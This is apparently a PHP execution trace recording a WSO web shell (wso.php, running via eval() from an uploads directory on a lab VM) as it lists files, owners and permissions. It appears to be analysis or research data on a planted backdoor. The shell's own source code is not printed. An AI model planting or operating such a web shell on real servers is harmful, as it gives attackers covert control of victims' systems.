4	151	0	0.020619	1256624	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	151	1	0.020643	1257424
4	151	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	0	0.020685	1256656	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'data'
4	152	1	0.020698	1256696
4	152	R			0
4	153	0	0.020711	1256656	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	153	1	0.020733	1257312
4	153	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	154	0	0.020769	1257176	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/data'
4	154	1	0.020785	1257240
4	154	R			1676247507
4	155	0	0.020798	1257144	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	155	1	0.020829	1257472
4	155	R			'2023-02-12 19:18:27'
4	156	0	0.020844	1257456	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/data'
5	157	0	0.020857	1257456	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/data'
5	157	1	0.020874	1257496
5	157	R			TRUE
5	158	0	0.020886	1257456	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/data'
5	158	1	0.020902	1257496
5	158	R			TRUE
5	159	0	0.020914	1257456	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/data'
5	159	1	0.020928	1257496
5	159	R			16895
5	160	0	0.020940	1257456	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	160	1	0.021054	1257496
5	160	R			'drwxrwxrwx'
4	156	1	0.021068	1257536
4	156	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	161	0	0.021085	1257536	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/data'
4	161	1	0.021099	1257576
4	161	R			4096
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	162	0	0.021136	1257160	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/data'
4	162	1	0.021153	1257200
4	162	R			FALSE
4	163	0	0.021167	1257160	is_link	0		/var/www/html/uploads/wso.php(5) : eval()'d code	896	1	'/var/www/html/uploads/data'
4	163	1	0.021183	1257200
4	163	R			FALSE
4	164	0	0.021196	1257160	is_dir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	898	1	'/var/www/html/uploads/data'
4	164	1	0.021210	1257200
4	164	R			TRUE
4	165	0	0.021223	1257104	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	899	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	165	1	0.021247	1257544
4	165	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	899	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	166	0	0.021306	1257480	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'prepend.php'
4	166	1	0.021322	1257504
4	166	R			0
4	167	0	0.021335	1257464	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	167	1	0.021358	1258264
4	167	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	168	0	0.021400	1257496	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'prepend.php'
4	168	1	0.021414	1257536
4	168	R			0
4	169	0	0.021427	1257496	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	169	1	0.021449	1258152
4	169	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	170	0	0.021485	1258032	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/prepend.php'
4	170	1	0.021502	1258096
4	170	R			1676247507
4	171	0	0.021515	1257992	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	171	1	0.021546	1258320
4	171	R			'2023-02-12 19:18:27'
4	172	0	0.021561	1258312	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/prepend.php'
5	173	0	0.021575	1258312	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/prepend.php'
5	173	1	0.021591	1258352
5	173	R			TRUE
5	174	0	0.021604	1258312	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/prepend.php'
5	174	1	0.021620	1258352
5	174	R			FALSE
5	175	0	0.021633	1258312	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	'/var/www/html/uploads/prepend.php'
5	175	1	0.021647	1258352
5	175	R			33261
5	176	0	0.021660	1258312	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	33261
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	176	1	0.021774	1258352
5	176	R			'-rwxr-xr-x'
4	172	1	0.021788	1258392
4	172	R			'<font color=white><b>-rwxr-xr-x</b></font>'
4	177	0	0.021805	1258392	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/prepend.php'
4	177	1	0.021823	1258432
4	177	R			57
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4	178	0	0.021860	1258016	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/prepend.php'
4	178	1	0.021874	1258056
4	178	R			TRUE
4	179	0	0.021887	1257952	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	895	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	179	1	0.021911	1258392
4	179	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	895	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	180	0	0.021969	1258328	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'wso.php'
4	180	1	0.021985	1258336
4	180	R			1000
4	181	0	0.021998	1258296	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	1000
4	181	1	0.022029	1259112
4	181	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	182	0	0.022071	1258344	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'wso.php'
4	182	1	0.022086	1258384
4	182	R			1000
4	183	0	0.022098	1258344	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	1000
4	183	1	0.022130	1259000
4	183	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	184	0	0.022166	1258864	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/wso.php'
4	184	1	0.022182	1258928
4	184	R			1676247507
4	185	0	0.022195	1258832	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	185	1	0.022227	1259160
4	185	R			'2023-02-12 19:18:27'
4	186	0	0.022242	1259144	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/wso.php'
5	187	0	0.022255	1259144	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/wso.php'
5	187	1	0.022272	1259184
5	187	R			TRUE
5	188	0	0.022284	1259144	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/wso.php'
5	188	1	0.022300	1259184
5	188	R			FALSE
5	189	0	0.022313	1259144	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	'/var/www/html/uploads/wso.php'
5	189	1	0.022326	1259184
5	189	R			33204
5	190	0	0.022339	1259144	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	33204
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= '-'
5	190	1	0.022451	1259184
5	190	R			'-rw-rw-r--'
4	186	1	0.022466	1259224
4	186	R			'<font color=white><b>-rw-rw-r--</b></font>'
4	191	0	0.022482	1259224	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/wso.php'
4	191	1	0.022500	1259264
4	191	R			95692
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes']
4	192	0	0.022536	1258848	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/wso.php'
4	192	1	0.022550	1258888
4	192	R			TRUE
4	193	0	0.022563	1258792	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	895	2	['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
4	193	1	0.022587	1259232
4	193	R			['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	895	$files[] = ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	901	GLOBALS['sort'] = [0 => 'name', 1 => 1]
4	194	0	0.022662	1259192	usort	0		/var/www/html/uploads/wso.php(5) : eval()'d code	908	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]	'cmp'
5	195	0	0.022698	1259640	cmp	1		/var/www/html/uploads/wso.php(5) : eval()'d code	908	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6	196	0	0.022727	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'.htaccess'
6	196	1	0.022741	1259672
6	196	R			'.htaccess'
6	197	0	0.022755	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'prepend.php'
6	197	1	0.022768	1259672
6	197	R			'prepend.php'
6	198	0	0.022782	1259640	strcmp	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	2	'.htaccess'	'prepend.php'
6	198	1	0.022796	1259704
6	198	R			-1
5	195	1	0.022810	1259640
5	195	R			-1
5	199	0	0.022822	1259640	cmp	1		/var/www/html/uploads/wso.php(5) : eval()'d code	908	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6	200	0	0.022851	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'prepend.php'
6	200	1	0.022876	1259672
6	200	R			'prepend.php'
6	201	0	0.022890	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'wso.php'
6	201	1	0.022904	1259672
6	201	R			'wso.php'
6	202	0	0.022918	1259640	strcmp	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	2	'prepend.php'	'wso.php'
6	202	1	0.022932	1259704
6	202	R			-1
5	199	1	0.022945	1259640
5	199	R			-1
4	194	1	0.022958	1259264
4	194	R			TRUE
4	203	0	0.022971	1259216	usort	0		/var/www/html/uploads/wso.php(5) : eval()'d code	909	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'cmp'
5	204	0	0.023000	1259664	cmp	1		/var/www/html/uploads/wso.php(5) : eval()'d code	909	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	205	0	0.023027	1259664	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'..'
6	205	1	0.023040	1259696
6	205	R			'..'
6	206	0	0.023052	1259664	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'data'
6	206	1	0.023065	1259696
6	206	R			'data'
6	207	0	0.023078	1259664	strcmp	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	2	'..'	'data'
6	207	1	0.023091	1259728
6	207	R			-3552051
5	204	1	0.023109	1259664
5	204	R			-3552051
4	203	1	0.023123	1259288
4	203	R			TRUE
4	208	0	0.023136	1259216	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	910	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
4	208	1	0.023183	1259656
4	208	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	910	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	911	$l = 0
4	209	0	0.023287	1259296	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'..'
4	209	1	0.023301	1259360
4	209	R			'..'
4	210	0	0.023316	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'..'
4	210	1	0.023330	1259616
4	210	R			'..'
4	211	0	0.023345	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'..'
4	211	1	0.023359	1259600
4	211	R			'..'
4	212	0	0.023372	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'..'
4	212	1	0.023385	1259728
4	212	R			'..'
4	213	0	0.023398	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'..'
4	213	1	0.023410	1259920
4	213	R			'..'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 1
4	214	0	0.023436	1259312	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'data'
4	214	1	0.023449	1259376
4	214	R			'data'
4	215	0	0.023463	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'data'
4	215	1	0.023476	1259616
4	215	R			'data'
4	216	0	0.023490	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'data'
4	216	1	0.023503	1259600
4	216	R			'data'
4	217	0	0.023516	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'data'
4	217	1	0.023530	1259728
4	217	R			'data'
4	218	0	0.023543	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'data'
4	218	1	0.023555	1259920
4	218	R			'data'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 0
4	219	0	0.023743	1259296	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	219	1	0.023758	1259368
4	219	R			'.htaccess'
4	220	0	0.023773	1259344	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	220	1	0.023787	1259416
4	220	R			'.htaccess'
4	221	0	0.023848	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	221	1	0.023866	1259616
4	221	R			'.htaccess'
4	222	0	0.023881	1259408	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	64
4	222	1	0.023896	1259440
4	222	R			'64 B'
4	223	0	0.023911	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	223	1	0.023924	1259608
4	223	R			'.htaccess'
4	224	0	0.023938	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	224	1	0.023951	1259736
4	224	R			'.htaccess'
4	225	0	0.023964	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	225	1	0.023978	1259928
4	225	R			'.htaccess'
4	226	0	0.023991	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	226	1	0.024004	1259928
4	226	R			'.htaccess'
4	227	0	0.024017	1260080	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	227	1	0.024035	1260152
4	227	R			'.htaccess'
4	228	0	0.024049	1260176	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	228	1	0.024062	1260248
4	228	R			'.htaccess'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 1
4	229	0	0.024088	1259312	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	229	1	0.024102	1259384
4	229	R			'prepend.php'
4	230	0	0.024116	1259376	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	230	1	0.024130	1259448
4	230	R			'prepend.php'
4	231	0	0.024144	1259456	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	231	1	0.024157	1259648
4	231	R			'prepend.php'
4	232	0	0.024172	1259440	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	57
4	232	1	0.024186	1259472
4	232	R			'57 B'
4	233	0	0.024200	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	233	1	0.024214	1259608
4	233	R			'prepend.php'
4	234	0	0.024228	1259728	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	234	1	0.024241	1259800
4	234	R			'prepend.php'
4	235	0	0.024255	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	235	1	0.024268	1259928
4	235	R			'prepend.php'
